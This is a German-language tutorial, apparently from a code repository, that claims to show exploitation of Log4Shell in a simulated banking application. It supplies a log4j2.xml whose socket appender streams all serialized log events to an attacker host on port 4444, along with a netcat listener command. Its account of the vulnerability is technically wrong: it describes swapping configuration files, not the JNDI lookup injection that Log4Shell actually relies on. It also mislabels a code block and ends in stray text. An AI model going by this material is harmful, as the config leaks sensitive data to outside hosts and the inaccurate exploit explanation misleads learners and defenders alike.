Ausnutzen von CVE-2021-44228 (Log4Shell) in einer Bankenumgebung

Zielsetzung: Demonstration der Ausnutzung der Log4Shell-Sicherheitslücke (CVE-2021-44228) in einer simulierten Bankanwendungsumgebung.

Umfang:

1: Einrichten einer verwundbaren Bankanwendung mit Apache Log4j. 2: Erstellen eines Payloads zur Ausnutzung der Schwachstelle und Erreichen einer Remote-Code-Ausführung. 3: Demonstration von Post-Exploitation-Techniken wie Datenerfassung und laterale Bewegung. 4: Implementierung und Dokumentation von Erkennungs- und Abwehrstrategien, einschließlich Patchen und Netzwerküberwachung. 5: Detaillierte Schritt-für-Schritt-Beschreibung des Exploit-Prozesses, einschließlich der verwendeten Tools (z. B. JNDI Exploit Kit, Burp Suite).

Tauchen wir in die Erstellung eines Payloads zur Ausnutzung der Log4Shell-Sicherheitslücke (CVE-2021-44228) ein, um eine Remote-Code-Ausführung in der fiktiven VM-Übungsumgebung zu erreichen.

Um den Payload zu erstellen, müssen wir die Natur der Sicherheitslücke verstehen. Die Log4Shell-Sicherheitslücke ermöglicht es Angreifern, bösartigen Code in die Konfigurationsdatei der Log4j-Bibliothek einzuschleusen, der dann von der betroffenen Anwendung ausgeführt wird. Der Payload wird so gestaltet, dass er diese Schwachstelle auslöst und beliebigen Code auf dem Zielsystem ausführt.

Hier eine grundlegende Übersicht der Schritte zur Erstellung des Payloads:

Identifizieren der Log4j-Konfigurationsdatei: Bestimmen Sie den Speicherort der Log4j-Konfigurationsdatei innerhalb der Ziel-Bankenumgebung. Normalerweise heißt diese Datei `log4j2.xml` oder `log4j.properties`.

Erstellen des Exploitation-Payloads: Erstellen Sie eine bösartige Log4j-Konfiguration, die einen JNDI-Lookup (Java Naming and Directory Interface) enthält, um beliebigen Code auszuführen. Dieser Payload kann in die `log4j2.xml`-Datei eingebettet werden.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Socket name="evil" host="your-attacker-server" port="4444">
            <SerializedLayout />
        </Socket>
    </Appenders>
    <Loggers>
        <Root level="all">
            <AppenderRef ref="evil" />
        </Root>
    </Loggers>
</Configuration>
```

Ersetzen Sie `"your-attacker-server"` durch die IP-Adresse oder den Hostnamen Ihres Angreifer-Rechners, der auf Port 4444 lauscht.

Hosten des Payloads: Richten Sie einen Listener auf Ihrem Angreifer-Rechner ein, um die Verbindung zu empfangen und den beliebigen Code auszuführen.

XML-Deklaration:


<?xml version="1.0" encoding="UTF-8"?>

Standard-XML-Deklaration.

Configuration-Element:


<Configuration>

Das Wurzelelement für die Log4j-Konfiguration.

Appenders:


<Appenders>
    <Socket name="evil" host="your-attacker-server" port="4444">
        <SerializedLayout />
    </Socket>
</Appenders>

Definiert einen Socket-Appender namens `evil`.
Das `host`-Attribut gibt den Server des Angreifers an.
Das `port`-Attribut gibt den Port auf dem Angreifer-Server an.
`SerializedLayout` bedeutet, dass die Log-Ereignisse serialisiert und über das Netzwerk gesendet werden, was ein Sicherheitsrisiko darstellen kann, da es Remote-Code-Ausführung (RCE) durch Deserialisierungsangriffe ermöglicht.

Loggers:


    <Loggers>
        <Root level="all">
            <AppenderRef ref="evil" />
        </Root>
    </Loggers>

    Definiert die Protokollierungsstufe als `all`, d. h. alle Logmeldungen (Debug, Info, Warn, Fehler usw.) werden erfasst.
    Der `AppenderRef` verweist auf den zuvor definierten `evil`-Appender, was bedeutet, dass alle Logmeldungen an den Server des Angreifers gesendet werden.

Feedback

Sicherheitsrisiken:
    Remote-Code-Ausführung (RCE): Die Verwendung eines `SerializedLayout` mit einem entfernten Socket-Appender kann es einem Angreifer ermöglichen, beliebigen Code auf dem System auszuführen, wenn er den Server kontrolliert und einen bösartigen Payload sendet. Dies ist eine kritische Sicherheitslücke.
    Datenerfassung: Diese Konfiguration kann leicht dazu führen, dass sensible Daten an einen nicht autorisierten entfernten Server gesendet werden, was zu Datenlecks führt.

Ungünstige Protokollierungspraktiken:
    Das Protokollieren auf einem nicht vertrauenswürdigen entfernten Server ist höchst unsicher und widerspricht bewährten Praktiken für sicheres Logging.
    Das Protokollieren auf der Stufe `all` in einer Produktionsumgebung kann zu Log-Überflutung, Leistungsproblemen und der potenziellen Offenlegung sensibler Informationen führen.

Empfehlungen zur Minderung:
    Serialisierte Layouts vermeiden: Verwenden Sie `SerializedLayout` in keiner Logging-Konfiguration, es sei denn, es ist absolut notwendig, und stellen Sie sicher, dass der empfangende Server vertrauenswürdig und sicher ist.
    Logging-Endpunkte validieren: Stellen Sie sicher, dass sich alle Logging-Endpunkte in vertrauenswürdigen und kontrollierten Umgebungen befinden.
    Sichere Layouts verwenden: Verwenden Sie sicherere Layouts wie `PatternLayout`, die keine Serialisierungsrisiken darstellen.
    Protokollierungsstufen einschränken: Verwenden Sie angemessene Protokollierungsstufen (z. B. Info, Warn, Fehler) und vermeiden Sie die Verwendung von `all`, außer für spezifische Debugging-Zwecke in einer sicheren Umgebung.

Beispiel einer sichereren Konfiguration

Hier ein Beispiel für eine sicherere Log4j-Konfiguration:


<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{ISO8601} [%t] %-5p %c{1}:%L - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

yaml

nc -nlvp 4444

Auslösen der Sicherheitslücke: Setzen Sie die erstellte Log4j-Konfigurationsdatei in der Zielumgebung ein, indem Sie die ursprüngliche Konfigurationsdatei ersetzen.

Ausführung des Exploits: Sobald die bösartige Konfiguration von der verwundbaren Log4j-Instanz geladen wird, versucht sie, eine Verbindung zum Server des Angreifers herzustellen, was zu einer Remote-Code-Ausführung führt.

Überprüfung der Ausführung: Überprüfen Sie den Listener auf Ihrem Angreifer-Rechner, um zu bestätigen, dass der Payload erfolgreich ausgeführt wurde.

Es ist wichtig zu beachten, dass dieser Payload nur für Bildungs- und Testzwecke in einer kontrollierten Umgebung gedacht ist. In realen Szenarien ist die Ausnutzung von Sicherheitslücken wie Log4Shell ohne Autorisierung illegal und unethisch. Stellen Sie immer sicher, dass Sie ausdrückliche Erlaubnis und Autorisierung haben, bevor Sie Sicherheitstests oder Penetrationstests durchführen.

Beliebteste

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment